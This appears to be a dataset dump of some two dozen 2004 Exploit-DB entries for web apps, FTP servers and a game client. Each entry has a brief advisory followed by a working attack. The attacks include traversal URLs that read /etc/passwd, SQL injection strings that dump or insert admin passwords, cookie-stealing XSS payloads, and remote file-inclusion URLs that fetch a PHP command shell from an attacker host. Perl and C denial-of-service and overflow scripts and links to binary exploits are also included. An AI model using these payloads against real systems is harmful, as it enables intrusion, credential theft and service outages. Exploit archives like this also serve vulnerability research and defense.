QLWD/code_shield huggingface dataset:
标题: Fool's Workshop Owl's Workshop 1.0 - 'readings/index.php' Arbitrary File Access EDB-ID: 23726 CVE: 2004-0303 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9689/info
    
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
    
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/readings/index.php?filename=/etc/passwd URL: https://www.exploit-db.com/exploits/23726
标题: Fool's Workshop Owl's Workshop 1.0 - 'resultsignore.php' Arbitrary File Access EDB-ID: 23727 CVE: 2004-0303 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9689/info
     
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
     
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/multiplechoice/resultsignore.php?filename=/etc/passwd URL: https://www.exploit-db.com/exploits/23727
标题: Linksys WAP55AG 1.0.7 - SNMP Community String Insecure Configuration EDB-ID: 23721 CVE: 2004-0312 类型: REMOTE 平台: HARDWARE 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9688/info

Linksys WAP55AG appliance has been reported prone to an insecure default configuration vulnerability.

It has been reported that all SNMP MIB (Management Information Base) community strings, even read/write strings may be disclosed to a remote attacker if the attacker makes certain queries to the affected appliance.

An attacker may disclose sensitive information in this manner. Although unconfirmed, it may also be possible for the attacker to manipulate the appliance configuration through writeable strings.

Querying OID:
1.3.6.1.4.1.3955.2.1.13.1.2.

1.3.6.1.4.1.3955.2.1.13.1.2.1 = STRING: "public"
1.3.6.1.4.1.3955.2.1.13.1.2.2 = STRING: "private" URL: https://www.exploit-db.com/exploits/23721
标题: eCommerce Corporation Online Store Kit 3.0 - 'shop_by_brand.php?cat_manufacturer' SQL Injection EDB-ID: 23719 CVE: 2004-0300 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9687/info
 
It has been reported that Online Store Kit is prone to multiple SQL injection vulnerabilities. These issues arise due to insufficient sanitation of user-supplied input via the URI.
 
As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been reported that an attacker may be able to disclose the administrator password hash by exploiting this issue.

http://www.example.com/directory/lite/shop_by_brand.php?cat_manufacturer=[query] URL: https://www.exploit-db.com/exploits/23719
标题: eCommerce Corporation Online Store Kit 3.0 - 'listing.php?id' SQL Injection EDB-ID: 23720 CVE: 2004-0300 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9687/info
  
It has been reported that Online Store Kit is prone to multiple SQL injection vulnerabilities. These issues arise due to insufficient sanitation of user-supplied input via the URI.
  
As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been reported that an attacker may be able to disclose the administrator password hash by exploiting this issue.

http://www.example.com/directory/listing.php?id=[query] URL: https://www.exploit-db.com/exploits/23720
标题: eCommerce Corporation Online Store Kit 3.0 - 'shop.php?cat' SQL Injection EDB-ID: 23718 CVE: 2004-0300 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9687/info

It has been reported that Online Store Kit is prone to multiple SQL injection vulnerabilities. These issues arise due to insufficient sanitation of user-supplied input via the URI.

As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been reported that an attacker may be able to disclose the administrator password hash by exploiting this issue.

http://www.example.com/directory/shop.php?cat=[query] URL: https://www.exploit-db.com/exploits/23718
标题: Fool's Workshop Owl's Workshop 1.0 - 'multiplechoice/index.php' Arbitrary File Access EDB-ID: 23722 CVE: 2004-0302 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9689/info

Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter. 

Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print URL: https://www.exploit-db.com/exploits/23722
标题: WebCortex WebStores2000 - 'error.asp' Cross-Site Scripting EDB-ID: 23729 CVE: 2004-0305 类型: WEBAPPS 平台: ASP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9693/info

It has been reported that WebStores2000 is prone to a cross-site scripting vulnerability. This issue is reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. 

http://www.example.com/error.asp?Message_id=35<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/23729
标题: Fool's Workshop Owl's Workshop 1.0 - '/glossaries/index.php?File' Arbitrary File Access EDB-ID: 23725 CVE: 2004-0303 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9689/info
   
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
   
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/glossaries/index.php?file=/etc/passwd URL: https://www.exploit-db.com/exploits/23725
标题: Fool's Workshop Owl's Workshop 1.0 - 'newmultiplechoice.php' Arbitrary File Access EDB-ID: 23724 CVE: 2004-0302 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9689/info
  
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
  
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/workshop/newmultiplechoice.php?edit=1&editfile=../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23724
标题: Metamail 2.7 - Multiple Buffer Overflow / Format String Handling Vulnerabilities EDB-ID: 23728 CVE: 2004-0104 类型: REMOTE 平台: LINUX 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9692/info

Metamail has been reported prone to multiple vulnerabilities that may provide for arbitrary code execution. Two buffer overflow vulnerabilities have been reported to affect Metamail. Additionally, two format string-handling vulnerabilities have been reported. These issues may also be exploited by a remote attacker to execute arbitrary code. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-1.splitmail

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-2.tgz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-3

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-4

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-5 URL: https://www.exploit-db.com/exploits/23728
标题: Fool's Workshop Owl's Workshop 1.0 - 'glossary.php' Arbitrary File Access EDB-ID: 23723 CVE: 2004-0302 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9689/info
 
Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.
 
Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/workshop/glossary.php?editfile=../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23723
标题: SmallFTPd 1.0.3 - Remote Denial of Service EDB-ID: 23716 CVE: 2004-0299 类型: DOS 平台: WINDOWS 发布日期: 2004-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9684/info

It has been reported that SmallFTPD is prone to a remote denial of service vulnerability. This issue is due to the application failing to properly validate user input. 

Successful exploitation of this issue may cause the affected server to crash, denying service to legitimate users. It has been conjectured that this issue may be due to a boundary management problem that may lead to arbitrary code execution, however this has yet to be verified.

ftp://www.example.com/user:pass@127.0.0.1/[464 and more "/" symbols]/../../../ URL: https://www.exploit-db.com/exploits/23716
标题: ShopCartCGI 2.3 - genindexpage.cgi Traversal Arbitrary File Access EDB-ID: 23706 CVE: 2004-0293 类型: WEBAPPS 平台: CGI 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9670/info
 
It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.
 
Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.com/directory/genindexpage.cgi?13687+Home+/../../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23706
标题: ProductCart 1.x/2.x - 'Custva.asp?redirectUrl' Cross-Site Scripting EDB-ID: 23704 CVE: 2005-0994 类型: WEBAPPS 平台: ASP 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9669/info
  
EarlyImpact ProductCart is reportedly prone to multiple vulnerabilities. The specific issues include SQL injection, cross-site scripting and cryptographic weaknesses. These issues could expose sensitive data such as user credentials and allow for execution of hostile script code and HTML. These issues could allow for full compromise of the software.

http://www.example.com/productcart/pc/Custva.asp?redirectUrl="><script>alert(document.cookie)</script><" URL: https://www.exploit-db.com/exploits/23704
标题: ShopCartCGI 2.3 - 'gotopage.cgi' Traversal Arbitrary File Access EDB-ID: 23705 CVE: 2004-0293 类型: WEBAPPS 平台: CGI 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9670/info

It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.

Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.com/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23705
标题: eCommerce Corporation Online Store Kit 3.0 - 'More.php' Cross-Site Scripting EDB-ID: 23712 CVE: 2004-0301 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9676/info
 
Multiple vulnerabilities have been identified in the software due to improper sanitization of user-supplied input. Successful exploitation of these issues could allow an attacker to carry out cross-site scripting and SQL injection attacks via the 'id' parameter of 'more.php' script.
 
Online Store Kit version 3.0 has been reported to be prone to these issues.

more.php?id=%3Cscript%3Ealert(document.domain);%3C/script%3E& URL: https://www.exploit-db.com/exploits/23712
标题: YABB SE 1.5 - 'Quote' SQL Injection EDB-ID: 23710 CVE: 2004-0291 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9674/info

It has been reported that YaBB SE may be prone to a SQL injection vulnerability that may allow a remote user to inject arbitrary SQL queries into the database used by the software. 

YaBB SE versions 1.5.4 and 1.5.5 have been reported to be affected by this issue, however, other versions could be affected as well.

http://www.example.com/yabbse//index.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,nul
l,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/* URL: https://www.exploit-db.com/exploits/23710
标题: eCommerce Corporation Online Store Kit 3.0 - 'More.php?id' SQL Injection EDB-ID: 23711 CVE: 2004-0300 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9676/info

Multiple vulnerabilities have been identified in the software due to improper sanitization of user-supplied input. Successful exploitation of these issues could allow an attacker to carry out cross-site scripting and SQL injection attacks via the 'id' parameter of 'more.php' script.

Online Store Kit version 3.0 has been reported to be prone to these issues.

more.php?id='[SQL injection here]& URL: https://www.exploit-db.com/exploits/23711
标题: Freeform Interactive Purge 1.4.7/Purge Jihad 2.0.1 Game Client - Remote Buffer Overflow EDB-ID: 23707 CVE: 2004-0290 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9671/info

Freeform Interactive Purge and Purge Jihad game clients have been reported prone to a remotely exploitable buffer overflow condition.

The issue presents itself in the client network connection routines used by the client to negotiate a connection to a Purge/Purge Jihad game server. A malicious game server may exploit this condition to potentially corrupt sensitive process memory in the affected game client and ultimately execute arbitrary code with the privileges of the user who invoked the game.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23707.rar URL: https://www.exploit-db.com/exploits/23707
标题: TransSoft Broker FTP Server 6.1 - Denial of Service EDB-ID: 23715 CVE: 2004-0295 类型: DOS 平台: WINDOWS 发布日期: 2004-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9680/info

It has been reported that Broker FTP Server may be prone to multiple denial of service vulnerabilities. These issues may allow a remote attacker to cause the software to crash or hang.

Broker FTP Server version 6.1.0.0 has been reported to be prone to these issues, however, other versions may be affected as well.

#!/usr/bin/perl -w
# TransSoft Broker FTP Server DoS (CPU usage and Exception)
#

use Socket;
if (not $ARGV[0]) {
? ? ? ? print qq~
? ? ? ? ? ? ? ? Usage: pfdos.pl < host>
? ? ? ? ~;
exit;}

$ip=$ARGV[0];
print "host: " . $ip . "\n\n";
sendexplt("A");
sub sendexplt {
?my ($pstr)=@_;
? ? ? ? $target= inet_aton($ip) || die("inet_aton
problems");
?socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')
||0) ||
?die("Socket problems\n");
?if(connect(S,pack "SnA4x8",2,8701,$target)){
?select(S);
? ? ? ? ? ? ? ? $|=1;
?print $pstr;
?sleep 100;
? ? ? ? ?close(S);
?} else { die("Can't connect...\n"); }
} URL: https://www.exploit-db.com/exploits/23715
标题: ProductCart 1.x/2.x - 'advSearch_h.asp' Multiple SQL Injections EDB-ID: 23703 CVE: 2005-0994 类型: WEBAPPS 平台: ASP 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9669/info
 
EarlyImpact ProductCart is reportedly prone to multiple vulnerabilities. The specific issues include SQL injection, cross-site scripting and cryptographic weaknesses. These issues could expose sensitive data such as user credentials and allow for execution of hostile script code and HTML. These issues could allow for full compromise of the software.

http://www.example.com/productcart/pc/advSearch_h.asp?idcategory=0&idSupplier=10&customfield=0&priceUntil=999;in--sert%20into%20admins%20(idadmin,%20adminpassword,%20adminlevel
+)%20s--elect%20lastName,%20password,%20name%20from%20customers%20where%20zip=987654;s--elect%20*%20from%20products%20where%201=1&Submit.y=13&priceFrom=0&sku=&keyWord=dark&I
+DBrand=0&resultCnt=200&Submit.x=33& URL: https://www.exploit-db.com/exploits/23703
标题: RobotFTP Server 1.0/2.0 - 'Username' Buffer Overflow (1) EDB-ID: 23708 CVE: 2004-0286 类型: DOS 平台: WINDOWS 发布日期: 2004-02-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9672/info

A vulnerability has been reported for RobotFTP Server. The problem likely occurs due to insufficient bounds checking when processing 'USER' command arguments of excessive length.

/******************************
this is example code for the vulnerability. It uses the windows ftp client to connect to a server
******************************/
#include <stdio.h>

char buffer[2500];
char cmd[50];

int main(int argc, char *argv[])
{
        FILE *evil;

        if(argv[1] == NULL)
        {
                printf("Usage: %s [IP]\n\n",argv[0]);
                return 0;
        }

        memset(buffer,0x41,47);
        memcpy(buffer+47,"\r\n",2);
        memcpy(buffer+49,"crash",5);
        memcpy(buffer+54,"\r\n",2);
        memcpy(buffer+56,"USER ",5);
        memset(buffer+61,0x41,1989);
        memset(buffer+61+1989,0x58,4);  // << overwrites the eip with XXXX
        memcpy(buffer+65+1989,"\r\n",2);

        sprintf(cmd,"ftp -s:ftp.txt %s",argv[1]);


        if((evil = fopen("ftp.txt", "a+")) != NULL)
        {
                fputs(buffer, evil);
                fclose(evil);
                printf("- file written!\n");
        }
        else
        {
                fprintf(stderr, "ERROR: couldn't open ftp.txt!\n");
                exit(1);
        }
        system(cmd);

}
/*******************************/ URL: https://www.exploit-db.com/exploits/23708
标题: AllMyLinks 0.x - 'footer.inc.php' Arbitrary Code Execution EDB-ID: 23699 CVE: 2004-0285 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9664/info
  
Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.
  
This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:
  
<?php
system("$cmd");
?> URL: https://www.exploit-db.com/exploits/23699
标题: ACLogic CesarFTP 0.99 - Remote Resource Exhaustion (Denial of Service) EDB-ID: 23700 CVE: 2004-0298 类型: DOS 平台: WINDOWS 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9666/info

It has been reported that CesarFTP is prone to a remote resource exhaustion vulnerability. This issue is due to the application failing to properly validate user input. 

Successful exploitation of this issue may cause the affected server to hang, denying service to legitimate users. It has been conjectured that this issue may be due to a boundary management problem that may lead to arbitrary code execution, however this has yet to be verified.

ftp://www.example.com/user:pass@127.0.0.1/< ... >=4084 symbols ... >/ URL: https://www.exploit-db.com/exploits/23700
标题: Xlight FTP Server 1.52 - Remote Send File Request Denial of Service EDB-ID: 23701 CVE: 2004-0287 类型: DOS 平台: WINDOWS 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9668/info

A remote denial of service vulnerability has been reported to exist in the Send File Request functionality of the XLight FTP server. Due to this issue a remote attacker may be able cause the affected server to crash, denying service to legitimate users. This issue is due to insufficient bounds checking.

Upon successful exploitation an attacker may be able to cause the affected server to crash, denying service to legitimate users.

ftp> open
To www.example.com
Connected to www.example.com.
220 Xlight Server 1.52 ready...
User (www.example.com:(none)): test
331 Password required for test
Password:
230 Login OK.
ftp> literal pasv
227 Entering passive mode .
ftp> literal retr /////////////////////////////////////////
///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////
//////////////////////////////////////////qwer
Connection closed by remote host. URL: https://www.exploit-db.com/exploits/23701
标题: ProductCart 1.x/2.x - Weak Cryptography EDB-ID: 23702 CVE: 2004-2172 类型: WEBAPPS 平台: ASP 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9669/info

EarlyImpact ProductCart is reportedly prone to multiple vulnerabilities. The specific issues include SQL injection, cross-site scripting and cryptographic weaknesses. These issues could expose sensitive data such as user credentials and allow for execution of hostile script code and HTML. These issues could allow for full compromise of the software.

An attacker register new customer in store. Let the value of 'First
Name' field in registration form will be equal to
'1*2*3*4*5*6*7*8*9*10*', the value of 'Last Name ' field will be equal
to '34567', the value of 'Password' field will be equal to '111' and the
value of 'Postal Code' field will be equal to '987654'. URL: https://www.exploit-db.com/exploits/23702
标题: AllMyVisitors 0.x - 'info.inc.php' Arbitrary Code Execution EDB-ID: 23698 CVE: 2004-0285 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9664/info
 
Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.
 
This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.
 
http://www.example.com/allmylinks/include/info.inc.php?_AMGconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a
 
www.example.org/attacker.php' will contain:
 
<?php
system("$cmd");
?> URL: https://www.exploit-db.com/exploits/23698
标题: vBulletin 3.0 - 'search.php' Cross-Site Scripting EDB-ID: 23691 CVE: 2004-2076 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/9656/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability in the 'search.php' script. This issue is reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. Successful exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forum/search.php?do=process&showposts=0&query=<!-- / main error message --></p></p></blockquote>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<script>alert('XSS')</script><plaintext>

http://www.example.com/forum/search.php?do=process&showposts=0&query=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23691